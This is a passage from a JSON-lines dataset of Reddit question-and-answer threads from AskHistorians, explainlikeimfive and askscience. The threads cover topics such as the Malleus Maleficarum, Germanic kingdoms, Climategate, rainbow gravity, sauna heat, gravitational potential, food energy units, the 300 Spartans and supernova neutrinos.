[...] In fact, \"it fastened on European jurisprudence for nearly three centuries the duty of combating\" the Society of Witches. The *Malleus* lay on the bench of every judge, on the desk of every magistrate. It was the ultimate, irrefutable, unarguable authority. It was implicitly accepted not only by Catholic but by Protestant literature. In fine, it is not too much to say that the *Malleus Maleficarum* is among the most important, wisest, and weightiest books of the world.\n\n- Montague Summers, introduction to the [1948 edition](_URL_1_).\n\nYou have to take Summers with a grain of salt: while extremely erudite in the subject of the occult, the Reverend's actual belief and tendency toward exaltation of occult literature can skew the perception of facts a little. Nevertheless, it does emphasize that the *Malleus* was extraordinarily popular, and for an extensive period of time. A lot of this had to do with utility and demand.\n\nIf you look at the volumes available to authorities on witchcraft in the period, you have works like Johannes Nider's *Formicarius* (1475); while this was popular and helped define the image and concept of the witch as we know it, this work was not geared toward either a lay audience or legal use since it was quite literally written as a teacher-student dialogue on the lives of ants. The section on witchcraft was actually absorbed into the *Malleus*.\n\nAnd authorities at the period *needed* a work on heresy and witchcraft. Civil courts and authorities were under greater pressure to work with ecclesiastic courts and authorities to address both heresy and *maleficium*, and the framework of Roman Law which was highly influential on the courts of Europe required a certain amount of legalistic wrangling to deal with the contemporary issues of witchcraft. While the Protestant Reformation had not yet occurred, there were still schisms within the church, which inquisitors rooted out as heresy. H. R. Trevor-Roper in [The European Witch-Craze of the Sixteenth and Seventeenth Centuries](_URL_0_) writes:\n\n >  When the Dominicans pressed for inquisitorial power over witchcraft, the papacy had at first resisted. The old canons of the Church, and particularly the *canon Episcopi*, denied the reality of witches and forbade their persecution. Therefore, in 1257, Pope Alexander IV had refused these demands unless manifest heresy, not merely witchcraft, could be proved. But little by little, under constant pressure, the papacy had yielded.  The great surrender had been made by the French popes of Avignon, and particularly by the two popes from southern France, John XXII and his successor Benedict XII, who had already, as bishops in Languedoc, waged war on nonconformity in the old Albigensian and Vaudois areas. John XXII, who declared heretical the Franciscan doctrine of the poverity of Christ (so dangerously akin to the old Vaudois ideas), also, by his constitution *Super illius specula* of 1325, authorized he full use of inquisitorial procedure against witches, of who he lived in personal terror. For the next century and a half--until the Witch Bull of Innocent VIII, and indeed afterwards--the main effort of the inquisitors (although there were some spectacular 'political' witchcraft trials in France, Burgundy and England) had been directed against the witches of the Alps and the Pyrenees.\n\nSummers gives a good run-down of some of the \"political\" witchcraft trials in his introduction to the *Malleus*; sorcery was effectively the civil counterpart to the ecclesiastical charge of heresy, and civil authorities could actually pass mortal sentences, which ecclesiastical courts could not--this was the standard inquisitorial practice, to hand over heretics to secular authorities for further persecution and punishment. This practice applied to all cases before the inquisition, not just the political ones, so as the *scope* of the inquisition expanded to include witchcraft, the need by civil authorities to address the question of witchcraft expanded as well. This brings us to Pope Innocent VIII, who in 1484:\n\n >  [...] issued *Summis desiderantes* at the request of two Dominican inquisitors, Heinrich Kramer (or Institoris) and Jacob Sprenger, who had worked in southern Germany and encountered some resistance in their search for heretics. The Bull formally removes all impediments to the completion of Kramer and Sprenger's mission.\n\n- Edward Peters, [The Magician, The Witch, and the Law](_URL_2_), 170\n\nPeters goes on to note that the Papal bull was not, in itself, remarkable - previous popes had issued bulls with much the same language and for much the same purpose, to authorize members of the clergy and clear away local opposition. However, two years after it was issue, it was included as the preface to the *Malleus Maleficarum* - a text Innocent himself had probably never seen - and in that context, being bundled with the book, gave the book greater authority, beyond even the area of Germany which most concerned the inquisitors. This in part helped its transmission, but the other part is the nature of the book itself. Peters 173-174:\n\n >  All scholars agree that the form of the work, that of a series of scholastic *quaestiones*, derives from handbooks for inquisitors, of which Eymeric's is the best example. Within the framework of *quaestiones* arranged into three major parts, owever, the work is intellectually inferior to Eymeric's and hardly to be considered \"scholastic\" in the original sense of that term at all. What is striking about the *Malleus* is its economic use of the *quaestio* form to bring together elements from all of the diverse sources that had provided elements of the new fifteenth-century beliefs in magic in the first place. The juxtaposition of these elements in a single, concentrated, tightly argued treatise of considerably greater length than any earlier work really constituted the basis of the popularity of the *Malleus* during the next two centuries. [...] In no other work are theology and law so tightly linked. Even if, as I have suggested above, the *Malleus* made no discernible impact on the prosecution of magicians and witches for nearly half a century, no comparable work approached its comprehensiveness until those of Bodin and Remy, Del Rio and Boguet, at the end of the sixteenth century.\n\nThe *Malleus* was not alone in its generation. Writings about witchcraft, even printed works, were extensive, with titles like *Tractatus contra Daemonum Invocatores* (1450) by Jean Vinet, *Fortalicium fidei contra fidei christianae hostes* (1467) by Alfonso de Spina, *Flagellum Maleficorum* (c.1490) by Petrus Mamoris. The *Laienspiegel* (1509) by Ulrich Tengler in particular was incredibly popular, because like the *Malleus* it was a legal work looking at the different aspects of witchcraft in regard to private, public, and criminal law; it went through fourteen editions. But the *Malleus* was uniquely suited to spread, because of its relatively early date, because it was organized in a manner useful to legal authorities, and because the spread of the printing press made it much more accessible to this ready market that was in demand for such a way. Judges and magistrates required a legal text for dealing with the problems posed by accusations of sorcery and heresy, and the *Malleus* was almost encyclopedic compared to other contemporary texts.\n\nThis, combined with the popularity of the *Malleus* and its relative accessibility also made it something of an authority on witchcraft which many subsequent demonologists would refer to, quote from, or cite as a reference; a kind of self-fulfilling prophecy where a book is popular because it is known to be popular. While there is a popular rumor that it was banned by the Church and placed on the Index Librorum Prohibitorum, I haven't been able to confirm that with any of my sources at hand. ", "In addition, who was printing it? I feel like the church would have had a bigger issue with people printing it and making it available for sale than with people buying it. ", "As a follow-up, due to the expense of books, was there much fiction published during these periods? If not, I can imagine it being bought for entertainment purposes - the world's first fantasy novel, in other words. Weren't fairy tales primarily oral?", "While it's true that the Church maintained a broadly cautious attitude toward witch hunting, it was not the clergy that the *Malleus* was aimed at. Instead, Kramer attempted to promote his book among secular lords, princes, courts and town councils. Indeed, one of the central points of the book was that, due the exceptional nature of their crimes, witches should be prosecuted by secular authorities. As no full vernacular edition of the *Malleus* was ever published, its readership was restricted to only the most educated classes - chiefly lawyers and theologians.\n\nKramer himself seems to have been something of an anathema in his own time. The 'senile' comment came from Bishop Golser of Tyrol, who had resisted Kramer's attempts to foment a brutal witch persecution in Innsbrook and had him expelled from his diocese under threat of physical violence a year before the *Malleus* was published. We do not know of a single witch being condemned in Tyrol following this affair. After the publication of the *Malleus*, Ulrich Molitor, a lawyer who had worked as an official at Innsbrook, penned a critique of Kramer's views that was republished more times throughout the 1490s than the *Malleus* itself. Kramer himself was ridiculed by Erasmus of Rotterdam in the satirical *Praise of Folly*, and labelled a drunkard by the humanist Konrad Peutinger. As such, 'widespread acceptance' may be something of an exaggeration.\n\nNevertheless, by the time the *Malleus* was published, anxieties about witchcraft were already on the rise, with early witch trials beginning to take place in several European jurisdictions. As a demonological work, the book actually offered little in the way of new ideas, but as a self-purported definitive guide for the handling of witchcraft cases, the book suited the needs of judges and lawyers perfectly. The extent to which the *Malleus* directly influenced the spread of witch hysteria is still debated, but it seems likely that the book owed much of its popularity to pre-existing fears. The *Malleus* also received a wider audience amongst secular rulers who harboured a personal interest in the subject of witchcraft or were simply drawn to the novelty of such a text."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.worldcat.org/title/european-witch-craze-of-the-sixteenth-and-seventeenth-centuries/oclc/426461901", "https://books.google.com/books?hl=en&lr=&id=RPml42hWGBIC&oi=fnd&pg=PR14&dq=malleus+maleficarum&ots=Loxt74IIBl&sig=RLuklKHbsBs8ne2KV5UF2p2ZUcI#v=onepage&q&f=false", "http://www.worldcat.org/title/magician-the-witch-and-the-law/oclc/751378767"], [], [], []]}
{"q_id": "46sq7u", "title": "Why do we only see Germanic kingdoms form after the fall of Rome?", "selftext": "The Germanic tribes had nearly identical cultures and language but they seemed to remain tribes and never formed any sort of kingdom until after Rome fell and they land grabbed.\n\nWhy did they never confederate into one massive tribe?\n\nWhy did no one tribe ever manage to conquer and absorb the rest and build a kingdom/empire in Germania?\n\nThe Germanic tribes seemed to have lived the same type of life style for hundreds or even thousands of years before Rome fell. \n\nAfter Rome fell and the Germanic tribes land grabbed, why did they then decide to settle and build up rather than remain tribes like they had always been?\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/46sq7u/why_do_we_only_see_germanic_kingdoms_form_after/", "answers": {"a_id": ["d07njx1"], "score": [4], "text": ["To answer your first question, German tribes did confederate from time to time. The Varian Disaster of 9 A.D., in which three whole legions under the command of P. Quinctilius Varus were destroyed by a German force under the command of the general Arminius, is one such case. Varus was given control of Roman territory to the Elbe River, and had provoked \"the tribes in the vicinity to oppose Rome in closer co-operation,\" which suggests the creation of a larger entity.^1 \n\nOne reason why a cohesive kingdom never emerged was simply the geography of the region. As Tacitus writes, \"the country in general... either bristles with woods or festers with swamps,\" which is also part of the reason why the Romans could never truly conquer Germania; it was untamable, and the resources required to fully conquer it would have significantly drained the Roman empire of fighting men and finances that could be more wisely used elsewhere.^2\n\nBy the end of the Roman empire, the army was relying on increasing numbers of Germanic peoples to fill the ranks. By training the Germans in military discipline, organization, and structure, the Romans helped transmit the knowledge required to form more organized forces. Centuries of contact with Roman civilization as well, through trade, diplomacy, and warfare, had also given the Germanic peoples the basic foundations of a civilized (as opposed to tribal) society. \n\nSources:\n\n1. Salmon, Edward T. *A History of the Roman World from 30 BC to AD 138*\n2. Tacitus, *Germania*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "exvojw", "title": "Has there ever been recording of a Sword being made out of meteorite between the 600-1500s?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/exvojw/has_there_ever_been_recording_of_a_sword_being/", "answers": {"a_id": ["fgd7y09"], "score": [2], "text": ["Hi there! We've removed your question because it's asking [basic facts](_URL_2_) which can be answered by reference works. These include, but are not limited to, a name, a number, a date or time, a location, the origin of a word, or first/last instance of a specific phenomenon.  **We'd encourage you to instead post this question in the weekly, stickied [\"Short Answers to Simple Questions\"](_URL_0_) thread, where questions of basic fact can be answered succinctly, based on reliable sources.** For more information on this rule, [please see this thread](_URL_4_).\n\nAlternatively, if you didn't mean to ask a simple question about basic facts, but have a more complex question in mind, feel free to repost a reworded question. If you need some pointers, the mod team is always happy to assist if you [contact us in modmail](_URL_3_), but also be sure to check out this [guide on asking better questions](_URL_1_).\n\nFinally, don\u2019t forget that there's many subreddits on Reddit aimed at answering your questions. Consider /r/AskHistory (which has lighter moderation but similar topic matter to /r/AskHistorians), /r/explainlikeimfive (which is specifically aimed at simple and easily digested answers), or /r/etymology (which focuses on the origins of words and phrases)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/search?sort=new&restrict_sr=on&q=flair%3ASASQ", "https://www.reddit.com/r/AskHistorians/comments/505nw2/rules_roundtable_18_how_to_ask_better_questions/", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_basic_facts", "https://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians", "https://www.reddit.com/r/AskHistorians/comments/815jyq/announcing_the_testing_of_the_basic_facts_rule/"]]}
{"q_id": "3kxj5j", "title": "climategate", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kxj5j/eli5_climategate/", "answers": {"a_id": ["cv1brvq", "cv1btgj", "cv1c0bo"], "score": [4, 4, 2], "text": ["It's not that big of a deal. Eight different committees from reputable research institutions have examined all the emails and none found any fraud or scientific misconduct. The people who hacked the emails selectively picked phrases from them to make them sound bad. For example, the sentence \"The fact is that we can\u2019t account for the lack of warming at the moment and it is a travesty that we can\u2019t\" was picked out by critics, but in context the scientist who wrote it was clearly referring only to short-term warming at some specific location and not about warming as a whole.\n\nClimategate was the climate change equivalent of the ACORN videos from 2008. Conservative groups got access to information they normally wouldn't have access to and didn't find any huge conspiracies, yet still selectively released information to drum up media interest and paint a biased picture.\n\nEdit: I should say that I haven't read the emails and it's entirely possible the scientists quoted in them were doing some sneakier things to make the data look like it fit better with their hypotheses. I don't think that's what happened, but even assuming it is, their hypotheses were much more limited than just \"climate change is happening.\" ", "No, it's not a big deal at all.  Eight separate investigations concluded there was no wrongdoing.\n\nClimategate is an example of a [manufactured controversy](_URL_0_).  If you cherry-pick evidence and find a few quotes that look incriminating, you can attack someone's credibility without ever actually addressing their point.  Tobacco companies used to do the same thing when the links between smoking and cancer started to be found.", " >   I don't see how a few scientists' emails can make that big of a difference.\n\nThat is pretty much the long and short of it.\n\nThere were a few sound bytes that sounded bad out of context, and few a scientists who candidly discussed the political implications of their findings.  There is absolutely nothing to indicate a conspiracy.\n\nIt is basically the climate change deniers' equivalent to \"jet fuel can't melt steel beams.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Manufactured_controversy"], []]}
{"q_id": "30cpqb", "title": "what is the rainbow gravity theory and why it would destroy the big bang theory?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30cpqb/eli5_what_is_the_rainbow_gravity_theory_and_why/", "answers": {"a_id": ["cpr8nxa", "cpr9fxj", "cpranzz", "cprazlc", "cprcoyk", "cprcuw6", "cprf39u", "cprfk58", "cprgdjm", "cprhlzy", "cpri08k", "cprjl2q", "cprlbfg", "cprooby", "cprpw2z", "cprwf6w", "cprz4f4"], "score": [932, 2101, 19, 4, 933, 2, 13, 3, 7, 11, 2, 2, 2, 2, 3, 32, 2], "text": ["I too was interested, and after some googling this is what I found.  I just ripped this explanation from [here]( _URL_0_) and take no credit for it.\n\n\n\"Thanks for the A2A, I'll give it my best shot. One thing's for certain. I'm a Web developer and not a theoretical astrophysicist, so I canonly\u00a0explain my understanding of rainbow gravity in layman's terms.\n\n\nIn scientific terms, the idea of rainbow gravity is not a theory, it is at best a postulate. But it's a testable postulate. Our current understanding is that gravity affects all electromagnetic radiation equally, bending it a given amount determined only by the gravitational force applied to the wave. Rainbow gravity says that's wrong. It predicts that powerful gravitational fields around supermassive objects will bend light (and other electromagnetic radiation) differently depending on its color (which is analogous to its electromagnetic wavelength) or more properly, its energy level. The rainbow term comes from the fact that if you look at a black hole up close and personal, and if the rainbow postulate proves true, you would observe not white light but a rainbow falling into the black hole.\nIt's a bit of a trip to visit the supermassive black hole at the center of our Milky Way Galaxy though. It's 25,000 light years, to be exact. So the fastest space vehicle we have ever built, Voyager 1 traveling at 39,000 MPH or 62,000 KPH would need 100 million years to get there, then 25,000 additional years for a signal traveling back to us at the speed of light to get back to us. Without massive gravity wells, we will need incredibly sensitive instruments to detect the differences in gravitational effect on different colors of the visible spectrum.\n\n\nWhat's most interesting about the postulate is that if true, it will help resolve the incompatibilities between Relativity and Quantum Mechanics. Also, if rainbow gravity is correct, then the Universe did not begin with the Big Bang, it is far older. In fact, it may be infinitely old. So the neat thing is if rainbow gravity is right, it answers the conundrum about who or what could have caused the Big Bang. The bummer is it replaces it with the equally baffling mystery of how the Universe can be infinitely old. Oh well, there is no possible answer to first cause that makes sense to our human intuition.\"\n\nEdit:  Forgot to actually explain it like we were five, will revise when I have time.  Sorry, I posted this while still waking up.", "I've read some articles about it and this is my best shot at explaining.\n\nYou know we have two theories about how the universe works: Relativity, which deals with things that have very large energies and mass (both are the same thing according to relativity) and quantum mechanics, which deals with things in the atomic and subatomic scale. \n\nBoth are, as far as we can detect, right. When you work the math and design an experiment, they are correct to an astounding precision. However, there's a problem: the math for both don't check together \u2013 when trying to mash both, some nonsensical terms appear. This means that we don't have a working theory for things that are both incredibly tiny and very massive so many (most? all?) scientists believe there's some extra term or correction to one or both the theories, or that they need to be replaced by a more advanced theory in the same way relativity replaced Newtonian mechanics.\n\nRainbow gravity is one of such corrections. Standard relativity says that energy is affected equally by gravitational fields. This correction says that it doesn't, gravity affects different wavelenghts of light -or colors- somewhat like a prism creates a rainbow. This should be detectable with very sentitive instruments from bursts of very powerful radiation called gamma ray bursts that pass nearby to large masses.\n\nContinuing to what we were talking before, one of those instances where you had very small and very massive things was the big bang. We have a very good idea of what happened very, very shortly after \"moment zero\", so the Rainbow Gravity theory doesn't change that \u2013 the age of the universe after the initial expansion and all the phenomena after it wouldn't change. However relativity says that at the very start, the size of the singularity that started expanding was zero \u2013 a mathematical point. Rainbow Gravity math says that it wasn't; was still incrediby small, but not zero. This in turn means the universe in this state of being very small, could have been existing forever before it started expanding.", "I don't buy it. For one, this is a testable prediction with observational astronomy and it's something we'd know right away when checking the composition of gravitationally lensed light from other stars and galaxies. If true, light from a galaxy behind a supermassive blackhole would NEVER be composed of white light as the gravitationally distorted colors would be refracted in such a way that most of the colors miss earth altogether. \n\nAlso, there is no apparent contradiction in the causality of the current model. You can't ask what there was \"before\" the big bang when time itself was a product of the big bang. It's like asking what there is \"outside\" the universe when space itself was the product of the big bang. If the universe is all that is, was, and ever will be, then then there is no such thing as \"before\" or \"outside\" all that is, was, and ever will be. ", "If this were true our instruments would have picked it up already. The frequency difference between Radio waves and Gamma rays would make it obvious and it would also show up in the light lensing effects in the Hubble deep field pictures.", "So from what I gather, the REALLY simple explanation is just:\n\nWe thought gravity pulled things like light equally.  This new theory says it might not: it would pull certain ones more: (eg, red more than purple).\n\nWhen we throw this new theory into some maths, turns out the big bang didn't start from a single point, but instead from a high density mash.\n\nDoesn't so much \"destroy\" the big bang theory, just changes some details about it.", "Can someone ELI5 what theoretically happend in the big bang?", "[relevant XKCD](_URL_0_).\n\nAlt text: \n\"Of these four forces, there's one we don't really understand.\" \"Is it the weak force or the strong--\" \"It's gravity.\"\n", "One thing to keep in mind, the acceleration of the universe expanding is under an assumption that the force that is causing it to accelerate isn't finite. It is possible the acceleration may eventually plateau and then start to slow and possibly reverse. There is a massive amount of research still needing to be done. The Crunch\\Thermal Death isn't set in stone with the big wildcard understanding what Dark Matter\\Energy is. Exciting times so far in the 21st century when the fate of the universe is still up for grabs.", "time and space are essentially the same thing. Time cannot exist without space and vice versa. Energy cannot be created nor destroyed. It cannot be broken down or divided in any way. If energy cannot be created then you come to the realization that there was no begining. We are conditioned in our daily lives to believe everything has a beginning and an end relative to time. In universal terms that simply isn't true. The big bang theory does not signify the beginning of the creation of energy and the universe. The big bang is just one expression of that energy that has always existed.", "Very briefly, it postulates that intense gravitational fields should bend light of different colors a different amount, a bit like a prism.  The bending amount would be based on the energy each photo carries.\n > \"Particles with different energies will actually see different spacetimes, different gravitational fields,\" says Adel Awad of the Center for Theoretical Physics at Zewail City of Science and Technology\n\nThis would mean that the early structuring of the universe was radically different than we currently think it is.  Here is a [Scientific American article](_URL_0_) describing it in more detail at a suitable EIL5 level.\n\nFor the record, it's not really accepted as a valid hypothesis.", "I'm confused of how gravity could affect light? Photons have no mass and so wouldn't they not interact with gravity?", "The rainbow universe apparently says that the universe stayed small for a very long time. The universe then occupied very little space.... Now magic suddenly makes it expand , after this everything else we know applys: the big whoosh,and the rest", "Does the name rainbow gravity theory have anything to do with Thomas Pynchon's novel Gravity's Rainbow?", "Rainbow Gravity Theory sounds like something Pat Robertson would make up to explain why gays are going to make an asteroid crash into the Earth.  \n\nBut apparently it's actually a theory that different wavelengths of light are affected differently by gravity.  Not sure how they're using that to find parallel dimensions though.  ", "I haven't read all the way through these comments yet, but I am personally convinced our universe is a neutron in an unimaginably larger universe, and all of the neutrons, protons, and electrons we see here are universes, too, infinitely too small to ever see. Cold atoms, like in water, are experiencing heat death, and when they warm up again, they explode again with a new 'big bang' event. It will be the same for our universe. Just a tiny Horton-Hears-a-Whoo ecistance that will cycle endlessly. \n\nA lot of this talk is only making this make more sense to me.\n\n", "Basically, the Rainbow Gravity theory states that different energies (ie. wavelengths, or colours) of light are affected differently by gravity.  This helps reconcile some of the observed discrepancies between Relativity and Quantum Mechanics.  This destroys the Big Bang Theory because anything, no matter how dry, academic, or unfunny, is still more funny than that show.", "So what theory is more likely to be correct? Rainbow or Big Bang?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.quora.com/What-is-the-rainbow-gravity-theory-in-laymans-terms"], [], [], [], [], [], ["http://xkcd.com/1489/"], [], [], ["http://www.scientificamerican.com/article/rainbow-gravity-universe-beginning/"], [], [], [], [], [], [], []]}
{"q_id": "1t4qn5", "title": "What happens to the temperature of Sauna when you throw water on the stones, will it rise or lower?", "selftext": "When bathing in Sauna, you throw water to hot stones, water vaporizes and gives a hot feeling to persons who are in the sauna. What happens to the temperature of the sauna?\n\nSauna is usually heated with 1500 wat heater, which has a termostat to keep the temperature at certain point. Water is being cast over the stones which have been heated by the heater. Steam rises the humidity in the air all the way up to 100% but what happens to the temperature of the room?\n\nWhich is the faster way to heat up the room, just let the heater heat the Sauna, or throw some water to the stones from time to time?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1t4qn5/what_happens_to_the_temperature_of_sauna_when_you/", "answers": {"a_id": ["ce4l509"], "score": [3], "text": ["The heater heats the stone to a temperature higher than the temperature of the air in the sauna. If you were to touch the stones directly you would burn because of the direct transfer of thermal energy. \n\nAir is a poor conductor of heat (uhm, low heat capacitance?). This is the reason you do not burn as you would touching the stones in a sauna.\n\nPouring water on the stones boils it, creating steam. The transition results in a gaseous expansion (that satisfying sizzle) that moves outwards. The rising steam also creates a small amount of convection (air movement). \n\nBasically, without water, the majority of the heat is localized to the heater, the stones and the air within the immediate vicinity (1-2ft) of the heater. An area 6-10ft away from the heater would likely be colder.\n\nPouring water on the rocks releases steam, that moves the air about, transferring the heat more evenly, and raising the temperature of the air outside of that 1-2ft.\n\nAs for the temperature of the room, the water did get the heat from the rocks, so on average it is up a little. The heat just gets spread more evenly.\n\nSome people discuss it [here.](_URL_0_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://physics.stackexchange.com/questions/22500/sauna-thermodynamics"]]}
{"q_id": "4minc7", "title": "Can someone explain the concept of gravitational potential between 2 masses?", "selftext": "I am struggling with the concept of gravitational potential. I know that by definition it is the work done in moving a unit mass from infinity to a point in the gravitational field (GPE per unit mass), but I don't truly grasp what this means and its significance. I also don't really get how gravitational potential is defined between 2 bodies, such as the earth and the moon. If we talk about bringing an object from infinity into the gravitational field of Earth I can visualise that, but how do you define the potential at a point where 2 fields act (such as that of the moon and the earth)? Where is 'infinity' in this case? Is there a point of 0 potential between the 2 bodies, where essentialy the strengths of the gravitational fields are equal and there is no resultant force on a body at that point, so no gravitational potential? I am only doing A2 physics (pre university) so a simple explanation will suffice.\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4minc7/can_someone_explain_the_concept_of_gravitational/", "answers": {"a_id": ["d3vrqtz", "d3vtc9p", "d3vw364", "d3w6xnk"], "score": [12, 2, 3, 2], "text": ["The \"brought in from infinity\" thing is useful mathematically but can be confusing physically. The gravitational potential between two objects is basically how much *more* energy they have if they're far apart than if they're touching (not exactly a technical definition). So you can have an object on the Earth and raise it to some height, and that object gains gravitational potential equivalent to the work required to raise it to that height.\n\nYou can do the same with the moon, consider how much work would be required to raise it from the surface to the height of its current orbit. That is the gravitational potential of the moon in this scenario.\n\nBecause only the *difference* in potential between two points matters, you can set the \"zero\" to be anywhere you want. For things falling near Earth's surface, it's useful to treat the surface as being at zero potential, while for mathematical reasons it's useful to treat \"infinitely far away\" as the zero point for celestial dynamics.", "When talking about universal gravitational potential, zero potential energy is generally taken to be an infinite distance away from an object. In reality, this means it's far enough that the gravitational effects from this object will not be felt. As you get farther away from an object, your gravitational potential increases, so it cannot ever be greater than zero if you take zero to be at \"infinity\". \n\nThe magnitude of an object's gravitational potential energy represents how much energy it would need to be able to escape the gravity of another object, or to get to an infinite distance away from it. \n\nIf by the gravitational potential being zero between two objects you mean that there's a spot that the potential from one object cancels the other, that doesn't happen. If you think of gravitational potential as how much energy you need to escape, this makes sense, because now you'd be escaping the gravitational pull of two objects instead of one. ", " >  there is no resultant force on a body at that point, so no gravitational potential?\n\nDon't confuse \"potential\" (related to energy) with \"force\". They are different in various ways. For example: force has direction (is a vector), potential does not. By placing a body X between two bodies Y and Z it is possible to cancel (zero) the forces on X (but not on Y and Z) while the potential is non-zero. \n", "The best way to understand gravity (or anything else that propagates as a field in space) is with a vector field. [Here is an example](_URL_0_).\n\nPotential is just the amount of energy that is stored in something. If you look at the vector field, when you move against an arrow, you are adding potential. When you move along the arrow, you are expending or converting that potential. This makes intuitive sense because if you 'let go' of the object it will naturally follow the arrows, but never against them. \n\nAll of the same logic applies to charged particles. If you have two electrons, they try to push each other apart. \n\nThe stuff about going to infinity is just about the mathematical procedure to calculate the energy. It answers the question, if you add energy by moving against the arrow, what if you moved against all the arrows to get to a point?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://mathematica.stackexchange.com/questions/37018/plotting-a-gravity-field"]]}
{"q_id": "4j98uh", "title": "why does ny first cigarrete at day make me feel sad and depressed about life?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4j98uh/eli5why_does_ny_first_cigarrete_at_day_make_me/", "answers": {"a_id": ["d34qub1"], "score": [2], "text": ["Because you know that you need to quit, and that it is slowly killing you, but, even knowing all of this, you are not *really ready yet* to give it up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lj8pq", "title": "Why don't we measure food energy in Joules?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lj8pq/why_dont_we_measure_food_energy_in_joules/", "answers": {"a_id": ["cbzss63", "cbzsvqq", "cbzw927"], "score": [8, 4, 8], "text": ["It's cultural.  You can find many other instances where energy is measured in other units, and it's all cultural.  One reason this happens so often is that energy is connected to so many different processes.  In some cases, we're interested in the connection to thermal energy, and we've made units to reflect that.  In other cases, we're interested in a mechanical connection.  In other cases, we're apparently interested in the number of horses required to do the same job...\n\nAs chemical energy, we have a more natural connection of food calories to thermal energy.  That's because we'll measure chemical energy through reactions and heat measurements in a lab (ostensibly at least).  This is why people initially thought it made more sense to use the calorie.  The unit is connected to the increase in temperature of water per some amount of energy.\n\nSo that's the *how*, and it is a historical human story.  Scientifically any energy unit does the job.", "The unit of energy in the International System of Units (SI) is the joule \n(J). This is the accepted standard unit of energy used in human energetics and it should also be used for the expression of energy in foods. Because nutritionists and food scientists are concerned with large amounts of energy, they generally use kiloJoules (kJ = 103J) or megaJoules (MJ = 106J). \n\nFor many decades, food energy has been expressed in calories, which is not a coherent unit of thermochemical energy. Despite the recommendation of more than 30 years ago to use only joules, many scientists, non-scientists and consumers still find it difficult to abandon the use of calories. This is evident in that both joules  (kJ) and calories (kcal) are used side by side in most regulatory frameworks, e.g. Codex Alimentarius (1991). \n\n[FAO. Food energy - methods of analysis and conversion factors.](ftp://_URL_0_)\n", "Food energy *is* measured in kilojoules in New Zealand where I live, occasionally also with calories in brackets. I suspect it's the same in all countries that use the metric system.\n\nFun fact: Calorie values given on food packaging are actually kilocalories. The kilo is dropped for some reason."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["ftp.fao.org/docrep/fao/006/y5022e/y5022e00.pdf"], []]}
{"q_id": "2irhay", "title": "I've heard that 300 is a common number in ancient texts signifying some great number. Is this is true, does this cast doubt about the 300 Spartans?", "selftext": "I have some Catullus books that refer to 300 as \"any formulaic large number\" like how the Old Testament uses 40 days to signify a very long time, not literally 40 exact days.\n\n-sources: *The Poems of Catullus: a Teaching Text* by Phyllis Forsyth\n\n*The Student's Catullus, Third Edition*, by Daniel Garrison\n\nIf this statement about 300 being a stand-in for a large number, does this mean (could this mean) that there were not really exactly 300 Spartans defending Thermopylae, but just some great number?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2irhay/ive_heard_that_300_is_a_common_number_in_ancient/", "answers": {"a_id": ["cl50azu", "cl50ie0"], "score": [28, 10], "text": ["It may be that 300 could be used as a formulaic large number in some contexts, but it seems unlikely in the case of Herodotus' or Diodorus Siculus' estimates of the Greek army at Thermopylae, since both use larger numbers for other groups - for example, Herodotus has the Tegeans and Mantineans both sending 500 soldiers and the Phocians 1000, while Diodorus has the Malians, Phocians, and Opuntian Locrians sending 1000 each. If they were using 300 as a formulaic number, it would be strange to see them use even larger numbers for the forces of other *poleis*.\n\nEDIT: Also, please remember that, as my answer implies, there were far more soldiers on the Greek side of Thermopylae than just the famous Spartan 300.", "Herodotus, Pausanias, and Diodorus Siculus all describe hundreds and thousands of other forces joining the 300 Spartans, for a total between 5,500 and 11,200, depending on the account. I don't think anyone suggests that 300 was the *exact* number of Spartans present, but it is likely representative of the actual number present. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "f6b0sf", "title": "Would a star that\u2019s about to supernova release an excess of gamma rays?", "selftext": "In the time leading up to the supernova of a star would it release lots of gamma rays as it is collapsing?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f6b0sf/would_a_star_thats_about_to_supernova_release_an/", "answers": {"a_id": ["fi4wyk2"], "score": [27], "text": ["A star will show little activity as its death begins- there will be a whole lot of business going on with gamma rays and such when it goes off bang, but for a few hours before the actual event there is one marker we can detect of the coming supernova: neutrinos.\n\nSince they pretty much ignore matter altogether, when the star's core starts to collapse in the cascade that will lead to the big explosion, the neutrinos will have already escaped the star and gone zooming off into the Universe. These days we can use our neutrino detectors to pick up the sudden cascades of the things, allowing us to predict were a supernova will be going off a short time before any other hint of the event reaches us."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
